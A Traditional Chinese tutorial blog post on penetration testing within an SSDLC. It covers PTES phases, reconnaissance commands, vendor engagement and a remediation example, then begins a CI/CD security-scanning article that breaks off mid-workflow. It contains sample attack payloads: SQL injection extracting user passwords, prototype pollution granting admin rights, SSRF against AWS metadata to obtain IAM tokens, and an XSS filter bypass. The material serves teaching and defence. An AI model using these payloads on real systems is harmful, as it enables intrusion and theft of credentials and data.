想像你蓋好了一棟房子。你裝了門鎖、窗戶有柵欄、後院有圍牆。你覺得很安全,但你怎麼知道這些防護「真的有效」?
最直接的方法——請一個專業的「小偷」來試試看。
他會繞著你的房子走一圈,檢查哪扇窗戶沒鎖、哪面牆可以翻過去、門鎖能不能被撬開。然後他把發現的所有「入侵路徑」記錄下來,告訴你該怎麼修。
這就是滲透測試(Penetration Testing,簡稱 Pentest)。
在軟體世界裡,滲透測試就是請資安專家用攻擊者的手法,在你授權的範圍內,嘗試入侵你的系統,找出真實存在的漏洞。它不是跑個掃描工具就結束的事,而是一場有策略、有方法論的「模擬攻擊」。
在 SSDLC 的七大階段中,滲透測試屬於階段四:安全驗證(Verification)。前面幾個階段,我們學了怎麼定義安全需求(Abuse Case)、怎麼設計安全架構(STRIDE 威脅建模)、怎麼寫安全的程式碼(輸入驗證、OWASP Top 10 防禦)。現在,是時候來驗證——你之前做的那些防護,真的擋得住攻擊嗎?
飛飛觀點:
很多團隊把滲透測試當成「交差用的報告」——上線前找廠商掃一掃、出份報告給老闆看就好。但滲透測試的真正價值不在那份報告,而在於讓你用攻擊者的眼光重新認識自己的系統。當你看到測試報告上寫著「透過修改 URL 參數就能看到別人的訂單」,那個衝擊感,比讀十本資安書都有效。
二、滲透測試 vs. 其他安全測試:搞清楚差別
在 SSDLC 的安全驗證階段,有好幾種測試方式。很多新手會搞混,以為「跑了 OWASP ZAP 就等於做了滲透測試」。讓我們用蓋房子的比喻來釐清:
| 測試方式 | 蓋房子的比喻 | 做什麼 | 誰來做 | 何時做 |
|---|---|---|---|---|
| SAST(靜態分析) | 檢查建材有沒有瑕疵(X 光檢查) | 不執行程式,直接掃描原始碼找漏洞 | 工具自動化 | 每次 Commit |
| DAST(動態分析) | 從外面推推門窗,看有沒有鬆的 | 對運行中的系統發送請求,找常見漏洞 | 工具自動化 | 每次部署 |
| 滲透測試 | 請專業小偷真的來闖看看 | 由人類專家模擬真實攻擊,串連多個弱點 | 資安專家(人工) | 上線前 / 定期 |
| 紅隊演練 | 不只測房子,連保全反應速度都測 | 模擬完整的 APT 攻擊,包含社交工程 | 專業紅隊 | 年度 |
關鍵差異在於:SAST 和 DAST 是工具驅動的自動化掃描,能快速找出已知模式的漏洞;而滲透測試是人腦驅動的創造性攻擊,能發現自動化工具找不到的邏輯漏洞、串連多個低風險弱點造成高風險攻擊。
舉個例子:自動化掃描可能發現「這個 API 沒有做速率限制」,但只有滲透測試者才會想到「先用忘記密碼功能確認帳號存在,再對確認存在的帳號進行暴力破解,最後用破解的帳號去修改付款資訊」——這種攻擊鏈(Attack Chain)是工具看不到的。
三、滲透測試的類型:黑箱、白箱、灰箱
根據測試者在開始前擁有多少系統資訊,滲透測試分成三種類型:
| 類型 | 測試者知道什麼 | 蓋房子比喻 | 優點 | 缺點 |
|---|---|---|---|---|
| 黑箱測試 | 什麼都不知道,跟真正的外部攻擊者一樣 | 小偷只能在街上看你家外觀 | 最接近真實攻擊場景 | 耗時最長、可能遺漏內部漏洞 |
| 白箱測試 | 擁有完整資訊:原始碼、架構圖、帳號 | 小偷拿到了你家的建築藍圖和鑰匙副本 | 最全面、覆蓋率最高 | 成本較高、不完全模擬真實攻擊 |
| 灰箱測試 | 擁有部分資訊:如一般使用者帳號、API 文件 | 小偷是你家的訪客,知道一些內部格局 | 效率與真實度的平衡 | 最常見的實務選擇 |
飛飛觀點:
對大多數台灣中小型團隊來說,灰箱測試是最務實的選擇。給測試者一組一般使用者帳號和 API 文件,既能節省「摸索系統」的時間,又能測試出從已登入使用者角度發動的攻擊(如越權存取、權限提升)。純黑箱聽起來很酷,但可能花了一大半時間在做資訊收集,實際打到的面反而不夠廣。
四、滲透測試的標準流程:PTES 七階段方法論
滲透測試不是「隨便亂打」。業界有成熟的方法論來確保測試的系統化和可重複性。最廣泛使用的是 PTES(Penetration Testing Execution Standard),它把滲透測試分成七個階段:
階段一:前期互動(Pre-engagement Interactions)
在動手之前,先把規則說清楚。
這個階段就像你請人來測防盜系統之前,先簽好合約:可以測哪些範圍、不能碰什麼、時間多長、發現重大漏洞要怎麼通報。
關鍵產出:
## 滲透測試授權書 / 範圍定義(範例)
### 測試範圍(Scope)
- ✅ 可測試:api.example.com、www.example.com
- ✅ 可測試:iOS App v3.2、Android App v3.2
- ❌ 不可測試:第三方支付閘道(需另行授權)
- ❌ 不可測試:正式資料庫(使用測試環境)
### 測試類型
- 灰箱測試(提供測試帳號與 API 文件)
### 時程
- 測試期間:2026/03/01 ~ 2026/03/14
- 報告交付:2026/03/21
### 緊急通報機制
- 發現 CVSS ≥ 9.0 的漏洞:4 小時內通知窗口
- 發現資料洩露:立即電話通知 + Email
### 限制條件
- 不可進行 DoS 攻擊
- 不可對真實用戶資料進行操作
- 不可進行社交工程攻擊(除非另行授權)
為什麼這個階段很重要?
台灣曾有案例,測試團隊在未明確約定範圍的情況下,意外打到了合作廠商的系統,引發法律糾紛。所以——沒有授權書,不開始測試。
階段二:情報收集(Intelligence Gathering)
在發動攻擊之前,先了解你的目標。
這個階段的目的是盡可能多地蒐集目標系統的公開資訊,就像小偷踩點一樣——觀察房子周圍的環境、作息規律、有沒有監視器。
常見的情報收集方式:
# 被動收集(不直接接觸目標)
# 1. DNS 查詢 — 找出子網域
dig example.com ANY
# 或使用子網域枚舉工具
# subfinder、amass 等
# 2. 查看 HTTP Response Headers — 識別技術棧
curl -I https://www.example.com
# 可能看到:
# X-Powered-By: Express ← Node.js!
# Server: nginx/1.18.0
# Set-Cookie: connect.sid ← Express Session
# 3. 查看 JavaScript 檔案 — 找 API Endpoint
# 在瀏覽器開發者工具的 Sources 頁面
# 搜尋 "/api/" 可以找到前端呼叫的 API 路徑
# 4. Google Dork — 找敏感檔案
# site:example.com filetype:pdf
# site:example.com inurl:admin
# site:example.com "password" filetype:log
主動收集(直接與目標互動):
# 1. Port Scanning — 找出開放的服務
nmap -sV -sC example.com
# 2. 目錄掃描 — 找隱藏的路徑
# dirsearch、gobuster 等工具
# 可能發現 /admin、/.env、/backup 等
# 3. 技術指紋識別
# 安裝 Wappalyzer 瀏覽器擴充套件
# 自動識別網站使用的框架、CMS、伺服器
飛飛觀點:
情報收集是滲透測試中最被低估的階段。很多新手急著「開打」,跳過這一步。但資深測試者會告訴你——你花在收集情報的時間越多,後面攻擊的效率就越高。就像飛飛在 JSDC 2025 演講中提到的,光是看到 <code>X-Powered-By: Express</code>,就能判斷目標是 Node.js,接下來可以針對 Prototype Pollution、SSTI、不安全的反序列化等 Node.js 特有漏洞進行測試。
階段三:威脅建模(Threat Modeling)
根據收集到的情報,規劃攻擊策略。
這個階段就是我們在 SSDLC 階段二學過的 STRIDE 威脅建模,但方向相反——之前是防守方畫 DFD 找弱點,現在是攻擊方根據情報決定「先打哪裡」。
攻擊優先順序的判斷依據:
| 考量因素 | 說明 |
|---|---|
| 攻擊面大小 | 哪個 API Endpoint 暴露最多功能? |
| 預期影響 | 打到這個點能造成多大損害?(如:取得管理員權限 > 取得一般用戶資料) |
| 預期難度 | 這個漏洞利用起來容易嗎? |
| 技術棧特性 | Node.js 有 Prototype Pollution、PHP 有反序列化、Java 有 Log4Shell |
階段四:漏洞分析(Vulnerability Analysis)
開始尋找具體的漏洞。
結合自動化工具和手動測試,對目標系統進行全面的弱點掃描與分析。
自動化掃描工具:
| 工具 | 類型 | 說明 | 費用 |
|---|---|---|---|
| OWASP ZAP | DAST | 開源免費,功能強大,OWASP 官方出品 | 免費 |
| Burp Suite | DAST | 業界標準的 Web 滲透測試工具 | 社群版免費 / 專業版付費 |
| Nmap | 網路掃描 | Port Scanning、服務識別 | 免費 |
| Nuclei | 漏洞掃描 | 基於模板的快速漏洞掃描 | 免費 |
| sqlmap | 自動化 SQLi | 自動偵測和利用 SQL Injection | 免費 |
手動測試重點(依 OWASP Testing Guide):
□ 認證測試:暴力破解、預設帳密、Session 管理
□ 授權測試:越權存取(IDOR)、權限提升
□ 輸入驗證:SQL Injection、XSS、SSTI、Command Injection
□ 商業邏輯:金額竄改、流程繞過、重複操作
□ 錯誤處理:錯誤訊息洩露、Stack Trace 外洩
□ 加密傳輸:TLS 版本、憑證驗證、敏感資料明文傳輸
□ API 安全:Mass Assignment、Rate Limiting、認證繞過
階段五:漏洞利用(Exploitation)
真的動手「打」進去。
這是最刺激的階段——驗證前面發現的漏洞是否真的可以被利用,以及能造成多大的影響。
重要原則:滲透測試不是破壞測試。
目的是證明漏洞存在並評估影響,不是把系統搞壞。就像驗證門鎖可以被撬開,只要打開門就好,不需要把門拆下來。
常見的漏洞利用場景(以 Node.js 為例):
以下範例改編自飛飛在 JSDC 2025 的演講實戰案例,所有測試均在授權環境中進行:
// 場景一:SQL Injection → 取得資料庫內容
// 漏洞程式碼(不安全的寫法)
const query = <code class="kb-btn">SELECT * FROM articles WHERE id = ${req.params.id}</code>;
// 攻擊者可以透過 UNION SELECT 取得其他表的資料
// 例如:/api/articles/0 UNION SELECT null,username||':'||password,null,null,null,null FROM users--
// 場景二:Prototype Pollution → 權限提升
// 漏洞程式碼(不安全的 merge 函數)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// 攻擊者提交:{"__proto__": {"isAdmin": true}}
// 之後所有新建的物件都會繼承 isAdmin: true
// 場景三:SSRF → 存取雲端 Metadata
// 漏洞程式碼(直接請求用戶提供的 URL)
const response = await axios.get(req.query.url);
// 攻擊者可以讓伺服器去請求內部服務或雲端 Metadata
// 例如:/fetch?url=http://169.254.169.254/latest/meta-data/
// 可能取得 AWS IAM Token,進而控制雲端資源
⚠️ 重要提醒: 以上所有攻擊手法僅供學習,請務必在授權的測試環境中練習。未經授權的滲透測試是違法行為。
階段六:後滲透(Post Exploitation)
進去之後,評估能走多遠。
成功利用一個漏洞後,測試者會嘗試在系統內部進一步探索:能不能存取更多資料?能不能跳到其他系統?能不能取得更高的權限?
這個階段的目的是評估實際的商業影響。例如:透過 SSRF 取得 AWS Token 後,測試者會檢查這個 Token 有哪些權限——能不能讀 S3 Bucket?能不能啟動 EC2?能不能存取 RDS 資料庫?
## 影響評估範例
### 漏洞:SSRF → AWS Metadata 洩露
- 取得的 IAM Role:WebAppRole
- 可存取的 S3 Bucket:3 個(含用戶上傳的身分證照片)
- 可存取的 RDS:唯讀權限(含完整用戶資料表)
- 預估影響:約 50 萬筆個資可能外洩
- 商業損失:可能面臨個資法最高 NT$1,500 萬罰鍰
階段七:報告撰寫(Reporting)
把發現整理成清楚的報告。
這是整個滲透測試中對甲方最有價值的產出。好的報告不只列出漏洞,還要讓不同角色的人看得懂:
報告的三層結構:
| 章節 | 給誰看 | 內容 |
|---|---|---|
| 執行摘要 | 老闆 / 主管 | 整體風險等級、重大發現、建議優先處理項目(不超過 2 頁) |
| 技術發現 | 開發者 / 資安團隊 | 每個漏洞的詳細描述、重現步驟、影響範圍、修復建議 |
| 附錄 | 技術人員 | 原始掃描報告、測試日誌、工具清單 |
單一漏洞的報告格式(範例):
## VULN-001:水平越權存取(IDOR)
### 風險等級:高(CVSS 7.5)
### 漏洞描述
退貨查詢 API(GET /api/returns/{id})未驗證請求者與退貨申請的所有權關係。
已登入的使用者只要修改 URL 中的退貨編號,即可查看其他使用者的退貨資料,
包含姓名、電話、地址與退貨商品明細。
### 重現步驟
1. 以使用者 A 的帳號登入,取得 JWT Token
2. 查看使用者 A 自己的退貨申請:GET /api/returns/R-5001(正常回傳)
3. 將 URL 中的 ID 改為 R-5002(使用者 B 的退貨)
4. 系統回傳使用者 B 的完整退貨資料(包含個資)
### 影響評估
- 約 12,000 筆退貨紀錄可被任意已登入用戶存取
- 洩露的資料包含姓名、電話、地址(屬個資法保護範圍)
- 可能違反個資法第 27 條安全維護義務
### 修復建議
在 API Controller 中加入所有權驗證:
```javascript
// 修復前
app.get('/api/returns/:id', auth, async (req, res) => {
const returnRequest = await Return.findById(req.params.id);
res.json(returnRequest);
});
// 修復後
app.get('/api/returns/:id', auth, async (req, res) => {
const returnRequest = await Return.findById(req.params.id);
if (returnRequest.userId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
res.json(returnRequest);
});
```
### 對應標準
- OWASP Top 10 2025:A01 Broken Access Control
- CWE-639:Authorization Bypass Through User-Controlled Key
五、滲透測試的發現都在找什麼?台灣常見漏洞 Top 5
根據台灣資安廠商的公開報告和飛飛的實務觀察,以下是台灣 Web 應用最常被發現的五類漏洞:
| 排名 | 漏洞類型 | 佔比 | 常見場景 | 難修指數 |
|---|---|---|---|---|
| 1 | 存取控制缺陷(Broken Access Control) | ~30% | IDOR、越權操作、缺少角色驗證 | ⭐⭐ |
| 2 | 注入攻擊(Injection) | ~20% | SQL Injection、XSS、Command Injection | ⭐⭐ |
| 3 | 安全設定錯誤(Security Misconfiguration) | ~18% | 預設帳密、多餘的 HTTP Header、Debug 模式未關 | ⭐ |
| 4 | 敏感資料洩露(Sensitive Data Exposure) | ~15% | API 回傳密碼欄位、錯誤訊息洩漏技術細節 | ⭐⭐ |
| 5 | 認證機制缺陷(Authentication Failures) | ~12% | 缺少帳號鎖定、JWT 未驗證簽章、Session 未過期 | ⭐⭐⭐ |
飛飛觀點:
你會發現,這些漏洞大多不是什麼高深的 0-day 攻擊,而是最基本的安全實踐沒做好。排名第一的「存取控制缺陷」,說穿了就是沒有在後端檢查「這個人有沒有權限做這件事」。這也是為什麼我們在前面的文章中反覆強調——安全需求要從設計階段就定義清楚,不能等到滲透測試才發現。
六、如何與資安廠商合作:從選商到驗收的完整指南
對大多數台灣團隊來說,滲透測試會委託外部資安廠商執行。以下是合作的完整流程:
6.1 選擇廠商:不是越便宜越好
| 評估面向 | 該問的問題 | 紅色警訊 |
|---|---|---|
| 資質認證 | 測試人員有 OSCP、CEH、GPEN 等證照嗎? | 只有公司品牌,說不出測試人員資歷 |
| 測試方法 | 用什麼方法論?(PTES、OWASP Testing Guide) | 只說「我們有專業工具」,無法說明方法論 |
| 報告品質 | 能提供報告範本嗎? | 報告只列工具掃描結果,沒有手動測試發現 |
| 溝通能力 | 發現重大漏洞時如何通報? | 測試結束才一次性告知所有發現 |
| 保密協議 | 有完善的 NDA 嗎?測試資料如何處理? | 含糊帶過資料處理方式 |
| 報價透明 | 報價包含幾人天?幾次複測? | 只給一個總價,不說明工時分配 |
台灣市場的價格參考(2025-2026 年):
| 測試規模 | 大致費用 | 說明 |
|---|---|---|
| 小型網站(5-10 個 API) | NT$15 萬 ~ NT$30 萬 | 3-5 人天 |
| 中型系統(20-50 個 API + App) | NT$30 萬 ~ NT$80 萬 | 7-15 人天 |
| 大型平台(完整電商 / 金融系統) | NT$80 萬 ~ NT$200 萬+ | 15-30+ 人天 |
注意: 以上僅為市場概估,實際費用因廠商、測試深度與範圍而異。
6.2 合作前的準備工作
作為甲方(委託者),你在測試開始前需要準備:
## 甲方準備清單
### 環境準備
- [ ] 準備獨立的測試環境(不要用正式環境!)
- [ ] 測試環境的資料要脫敏(移除或遮蔽真實個資)
- [ ] 確認測試環境與正式環境的架構一致
- [ ] 準備測試帳號(各角色至少各一組)
### 文件準備
- [ ] 系統架構圖(簡易版即可)
- [ ] API 文件(Swagger / Postman Collection)
- [ ] 角色與權限矩陣
- [ ] 上次測試的報告(如有)
### 內部溝通
- [ ] 通知 IT 團隊測試時間,避免被當成真實攻擊
- [ ] 指定窗口人員,負責與廠商溝通
- [ ] 確認緊急通報流程與聯絡方式
- [ ] 確認測試期間的變更凍結(避免測試中改版)
6.3 測試期間的互動
好的合作不是「丟出去就不管」。測試期間建議:
每日站會(15 分鐘):
- 測試者分享今天測試的範圍和初步發現
- 甲方回答測試者對系統邏輯的疑問
- 及時討論是否需要調整測試範圍
緊急通報:
- 約定 CVSS ≥ 9.0 的漏洞要在 4 小時內通知
- 發現資料洩露跡象要立即通報
6.4 報告驗收與複測
收到報告後,不是簽收就結束。正確的流程是:
收到報告 → 內部 Review → 確認修復優先序 → 修復漏洞 → 安排複測 → 確認修復完成
修復優先順序建議:
| CVSS 分數 | 風險等級 | 建議修復時程 |
|---|---|---|
| 9.0 ~ 10.0 | 嚴重 | 24 ~ 72 小時內修復 |
| 7.0 ~ 8.9 | 高 | 1 ~ 2 週內修復 |
| 4.0 ~ 6.9 | 中 | 下個 Sprint 修復 |
| 0.1 ~ 3.9 | 低 | 排入 Backlog,定期處理 |
複測(Retest)的重要性:
很多團隊修了漏洞後就覺得沒事了,但修復不當的情況很常見。例如:修了 SQL Injection 但只做了前端驗證,後端沒改;修了 XSS 但只擋了 <code><script></code>,沒擋 <code><img onerror=…></code>。
複測就是讓廠商回來確認——你修的方法真的有效嗎?
飛飛觀點:
在簽合約時,就要確認報價包含幾次複測。一般至少要有一次免費複測。如果廠商說「複測另外收費」,建議把複測費用也納入總預算中,因為不做複測的滲透測試只完成了一半。
七、開發者也能做的「類滲透測試」:自我健檢
不是每次都需要花大錢請外部廠商。開發者可以用以下工具和方法,在日常開發中進行基本的安全檢測:
7.1 免費工具推薦
| 工具 | 用途 | 難度 | 推薦指數 |
|---|---|---|---|
| OWASP ZAP | 自動化 Web 掃描 | ⭐⭐ | 必裝 |
| Burp Suite Community | 手動 Web 滲透測試 | ⭐⭐⭐ | 必裝 |
| nmap | 網路掃描與服務識別 | ⭐⭐ | 推薦 |
| sqlmap | SQL Injection 自動化 | ⭐⭐ | 針對性使用 |
| Nuclei | 基於模板的漏洞掃描 | ⭐⭐ | 推薦 |
| npm audit | Node.js 套件漏洞檢查 | ⭐ | 必用 |
7.2 快速安全自檢 Checklist
每次部署前,花 30 分鐘走一遍:
## 部署前安全自檢
### 認證與授權
- [ ] 所有 API Endpoint 都有認證機制?
- [ ] 敏感操作有做權限驗證?(不只檢查是否登入,還檢查角色)
- [ ] 不同使用者無法互相存取資料?(改 ID 試試看)
### 輸入與輸出
- [ ] 所有使用者輸入都有在後端做驗證?
- [ ] API 回應中沒有多餘的欄位?(如 password、token)
- [ ] 錯誤訊息沒有洩漏系統資訊?(如 SQL 錯誤、Stack Trace)
### 設定安全
- [ ] Debug 模式已關閉?
- [ ] X-Powered-By Header 已移除?
- [ ] CORS 設定是否過於寬鬆?(不要用 <code>*</code>)
- [ ] HTTPS 是否強制啟用?
### 依賴套件
- [ ] npm audit / snyk test 沒有高風險漏洞?
- [ ] 沒有使用已棄用的套件?
### 機敏資料
- [ ] 密碼有用 bcrypt / Argon2 雜湊?
- [ ] API Key、Secret 沒有寫死在程式碼中?
- [ ] 日誌中沒有記錄密碼或 Token?
7.3 推薦練習平台
想提升滲透測試能力,最好的方式就是實際練習:
| 平台 | 特色 | 適合對象 | 費用 |
|---|---|---|---|
| OWASP Juice Shop | 故意有漏洞的購物網站,關卡式 | 初學者 | 免費 |
| OWASP WebGoat | 互動式教學,邊學邊打 | 初學者 | 免費 |
| PortSwigger Web Security Academy | 系統化的 Web 安全課程 + Lab | 初中級 | 免費 |
| HackTheBox | 各種難度的靶機 | 中高級 | 基礎免費 / 進階付費 |
| nodelab.feifei.tw | Node.js 專屬靶站,飛飛開發 | 初中級(Node.js 開發者) | 免費 |
八、將滲透測試融入 SSDLC:不只是上線前的最後一關
很多團隊把滲透測試當成「上線前的最後一關」,但在成熟的 SSDLC 流程中,滲透測試的思維應該貫穿整個開發週期:
| SSDLC 階段 | 滲透測試思維的應用 |
|---|---|
| 安全需求 | 寫 Abuse Case 時,就是用攻擊者角度思考 |
| 安全設計 | 做 STRIDE 威脅建模時,就是在模擬攻擊路徑 |
| 安全開發 | 寫程式時主動測試自己的輸入驗證是否可被繞過 |
| 安全測試 | 正式的滲透測試 + SAST/DAST 自動化掃描 |
| 安全部署 | 安全設定檢查、環境強化、部署前驗證 |
| 安全維運 | 持續監控、定期複測、漏洞管理 |
| 安全教育 | 將測試發現轉化為團隊知識,避免同類漏洞重複出現 |
建議的測試頻率:
| 測試類型 | 頻率 | 適用場景 |
|---|---|---|
| SAST 靜態掃描 | 每次 Commit / PR | CI/CD 自動化 |
| DAST 動態掃描 | 每次部署到測試環境 | CI/CD 自動化 |
| 開發者自檢 | 每個 Sprint | 使用 Checklist |
| 外部滲透測試 | 每年 1-2 次 / 重大改版前 | 委託資安廠商 |
| 紅隊演練 | 每年 1 次 | 成熟度較高的組織 |
九、常見問題 FAQ
Q1:我們的系統很小,也需要做滲透測試嗎?
系統大小跟是否需要滲透測試沒有絕對關係。關鍵是你的系統處理什麼資料。如果你的系統有處理個資(姓名、Email、電話)、金流、或是使用者的敏感資料,不論規模大小,都建議至少做過一次基本的安全測試。
小系統可以先從「開發者自檢 + OWASP ZAP 自動掃描」開始,不一定要花大錢請外部廠商。
Q2:滲透測試會不會把我的系統打壞?
專業的滲透測試不會以破壞系統為目的。在前期互動階段,會明確約定不做 DoS 攻擊、不刪除資料、不修改正式環境的設定。這也是為什麼一定要準備獨立的測試環境——即使測試過程出了意外,也不會影響正式服務。
Q3:收到報告後發現一堆漏洞,是不是代表我們團隊很差?
完全不是。滲透測試找到漏洞是正常的、預期的結果。就像每年做健康檢查,多少會發現一些指標需要注意。找到漏洞代表你做了正確的事——在攻擊者之前發現問題。真正該擔心的是「做了測試卻什麼都沒發現」,那可能代表測試不夠深入。
Q4:我們請廠商測了一次,以後還需要再測嗎?
需要。系統在持續迭代,每次新增功能都可能引入新的漏洞。建議至少每年做一次完整的滲透測試,以及在每次重大改版前做一次。同時,在日常開發中持續使用 SAST/DAST 工具進行自動化安全掃描。
十、結語:攻擊是最好的防禦教材
在 SSDLC 的旅程中,滲透測試是一個特別的存在——它讓你暫時放下防守者的身分,戴上攻擊者的面具,用另一個視角審視自己精心打造的系統。
這個視角轉換的價值,遠超過一份報告上列出的漏洞數量。
當你看到自己寫的 API 被繞過權限檢查,你會深刻理解為什麼「永遠不要信任前端傳來的資料」。當你看到情報收集階段就能從 HTTP Header 判斷出你的技術棧,你會真正意識到為什麼要隱藏 <code>X-Powered-By</code>。當你看到一個低風險的資訊洩露被串連成一條完整的攻擊鏈,你會明白為什麼每一個小漏洞都值得修。
滲透測試不只是驗證工作,更是最好的學習機會。
從今天開始,你可以做的第一步很簡單——打開你的系統,試著改一改 URL 裡的 ID,看看能不能看到別人的資料。如果可以——恭喜你,你剛剛完成了你的第一次「滲透測試」。
「安全不是恐懼,而是創造的基礎。」 而滲透測試,就是讓你確認這個基礎夠不夠穩固的最佳方式。
延伸閱讀
[安全測試] 003 CI/CD 安全整合:在 Pipeline 加入安全關卡——讓每次部署都通過資安體檢
「房子蓋好後,不是直接交屋就好,你得先請結構技師檢查、消防設備測試、水電驗收。
CI/CD Pipeline 也一樣——每一次部署,都應該先通過一輪資安體檢。
自動化不是為了取代人,而是讓安全不再被遺忘。」
— SSDLC by 飛飛
一、CI/CD 安全整合是什麼?為什麼你的 Pipeline 需要安全關卡?
在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求定義(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全實作(使用合格建材施工)。現在,我們來到了階段四:安全驗證(Verification)——房子蓋好後,交屋前的「安全檢查」。
想像你蓋了一棟漂亮的房子,建材用的是防火等級的,電線也符合規範。但如果交屋那天,沒有人來驗收——沒人檢查消防灑水器能不能動、沒人測試逃生門能不能開、沒人看排水管有沒有接好——你敢住進去嗎?
CI/CD 安全整合,就是在你的軟體「交屋」(部署上線)之前,加入一道自動化的安全驗收流程。
傳統的做法是:開發者寫完程式碼、推上 Git、CI 跑一跑單元測試、通過了就部署。安全?等上線之後再找資安公司來滲透測試吧。
問題是,等到滲透測試報告出來,漏洞已經在線上跑了好幾週。就像房子已經住了三個月,才發現消防系統根本沒裝——代價極高。
CI/CD 安全整合的核心思想是:把安全檢查「左移」到部署流程中,讓每一次 git push 都自動觸發安全掃描。 發現問題就擋住、修好再上線,不讓漏洞有機會溜進生產環境。
飛飛觀點:
很多人覺得「加安全掃描會拖慢部署速度」。但想想看,你會因為安全帶「太麻煩」就不繫嗎?CI/CD 安全掃描通常只多花 3-8 分鐘,但它能在漏洞到達使用者之前就攔截下來。花 5 分鐘預防,好過花 5 天善後。
二、傳統做法 vs. DevSecOps:安全不該是最後一關
先來看看傳統做法和 DevSecOps 做法的差別:
| 面向 | 傳統做法 | DevSecOps 做法 |
|---|---|---|
| 安全檢查時機 | 上線前或上線後,做一次性滲透測試 | 每次 push/PR 都自動掃描 |
| 發現漏洞的時機 | 開發結束後,可能已經過了好幾週 | 寫完程式碼的幾分鐘內就知道 |
| 修復成本 | 高(要回頭改已經整合的功能) | 低(問題還在開發者腦中,馬上修) |
| 責任歸屬 | 「資安團隊的事」 | 「每個開發者的事」 |
| 自動化程度 | 低,多靠人工審查 | 高,機器自動掃描、自動擋 |
| 覆蓋率 | 低,只檢查一次 | 高,每次變更都檢查 |
用蓋房子的比喻來說:
傳統做法就像房子蓋完才請消防隊來檢查——萬一不合格,整面牆要拆掉重來。
DevSecOps 就像每砌一面牆,工地監工就立刻檢查有沒有用對建材、有沒有預留管線——問題當下就能修正,不用返工。
三、安全 Pipeline 的四道關卡:你的 CI/CD 防火牆
一條完整的安全 Pipeline,就像房屋驗收時的四個檢查站:
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ 🔍 SAST │───▶│ 📦 SCA │───▶│ 🔐 Secret │───▶│ 🌐 DAST │
│ 靜態分析 │ │ 依賴掃描 │ │ 機密掃描 │ │ 動態測試 │
│ │ │ │ │ │ │ │
│ 檢查程式碼 │ │ 檢查第三方 │ │ 檢查有沒有 │ │ 檢查運行中 │
│ 有沒有漏洞 │ │ 套件有沒有 │ │ 把密碼推上 │ │ 的網站有沒 │
│ │ │ 已知漏洞 │ │ Git │ │ 有漏洞 │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
結構技師 建材檢驗員 保全系統檢查 消防測試
關卡一:SAST(靜態應用程式安全測試)
比喻: 結構技師看藍圖和施工品質,不用等房子蓋好就能發現問題。
SAST 直接掃描你的原始碼,在程式碼還沒執行前就找出潛在漏洞:SQL Injection、XSS、Path Traversal、硬編碼密碼等。
推薦工具:
| 工具 | 特色 | 費用 |
|---|---|---|
| Semgrep | 輕量快速、規則豐富、支援多語言 | 免費(開源) |
| SonarQube | 全面的程式碼品質 + 安全掃描 | Community 版免費 |
| CodeQL | GitHub 原生整合,語意分析強大 | GitHub 公開 Repo 免費 |
| ESLint Security | Node.js 專用,整合 IDE 即時提示 | 免費(開源) |
關卡二:SCA(軟體組成分析)
比喻: 建材檢驗員確認你用的水泥、鋼筋、磁磚是不是合格品。
SCA 掃描你專案的所有第三方依賴套件,檢查有沒有已知的 CVE 漏洞。還記得 2021 年的 Log4Shell 嗎?一個 Log4j 的漏洞影響了全世界數百萬系統——如果你的 Pipeline 有 SCA 掃描,就能在第一時間收到警報。
推薦工具:
| 工具 | 特色 | 費用 |
|---|---|---|
| npm audit | Node.js 內建 | 免費 |
| Snyk | 自動修復建議、整合豐富 | 免費方案可用 |
| OWASP Dependency-Check | 開源、支援多語言 | 免費(開源) |
| Trivy | 容器 + 依賴 + IaC 全方位掃描 | 免費(開源) |
關卡三:Secret Scanning(機密掃描)
比喻: 保全公司檢查你有沒有把鑰匙插在門上忘了拔。
Secret Scanning 掃描你的程式碼和 Git 歷史紀錄,找出不小心被推上去的 API Key、資料庫密碼、JWT Secret 等機密資訊。根據 GitGuardian 的統計,平均每 1,000 次 commit 就有 5.5 個機密被意外推上公開 Repo。
推薦工具:
| 工具 | 特色 | 費用 |
|---|---|---|
| GitHub Secret Scanning | GitHub 原生、支援多種 Token 格式 | 公開 Repo 免費 |
| GitLeaks | 快速、可自訂規則 | 免費(開源) |
| TruffleHog | 深度掃描 Git 歷史 | 免費(開源) |
關卡四:DAST(動態應用程式安全測試)
比喻: 消防測試——實際點火看灑水器會不會動。
DAST 對執行中的應用程式發送惡意請求,模擬真實攻擊。它不看原始碼,而是看系統的實際行為——就像真正的攻擊者會做的事情。
推薦工具:
| 工具 | 特色 | 費用 |
|---|---|---|
| OWASP ZAP | 開源標準、功能強大 | 免費(開源) |
| Nuclei | 模板化掃描、社群維護規則 | 免費(開源) |
| Burp Suite | 業界標準,功能最全面 | 社群版免費 |
飛飛觀點:
不需要一次全部導入。如果你的團隊剛開始做 CI/CD 安全整合,先從 SCA(npm audit)和 Secret Scanning(GitLeaks)開始——這兩個最容易導入、誤報率最低、投入產出比最高。穩定之後再加入 SAST 和 DAST。
四、GitHub Actions 安全掃描實戰設定
接下來,我們用 GitHub Actions 來實作一條完整的安全 Pipeline。以台灣常見的 Node.js 電商專案為例,一步步加入四道安全關卡。
4.1 基礎架構:安全掃描 Workflow
先建立 <code>.github/workflows/security.yml</code>:
# .github/workflows/security.yml
name: 🔒 Security Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main, develop]
schedule:
# 每週一早上 9 點(UTC+8)自動掃描,確保依賴漏洞被及時發現
- cron: '0 1 * * 1'
permissions:
contents: read
security-events: write # 讓掃描結果可以顯示在 GitHub Security Tab
jobs:
# ═══════════════════════════════════════
# 關卡一:依賴套件漏洞掃描(SCA)
# ═══════════════════════════════════════
dependency-check:
name: 📦 依賴套件安全檢查
runs-on: ubuntu-latest
steps:
- name: Checkout 程式碼
uses: actions/checkout@v4
- name: 安裝 Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
- name: 安裝依賴
run: npm ci
# npm audit:Node.js 內建的依賴漏洞掃描
- name: npm audit — 掃描已知漏洞
run: |
echo "🔍 正在掃描 npm 依賴套件漏洞..."
npm audit --audit-level=high --omit=dev 2>&1 | tee audit-result.txt
# 只阻擋 high 和 critical 等級的漏洞
# --omit=dev 忽略開發依賴,減少誤報
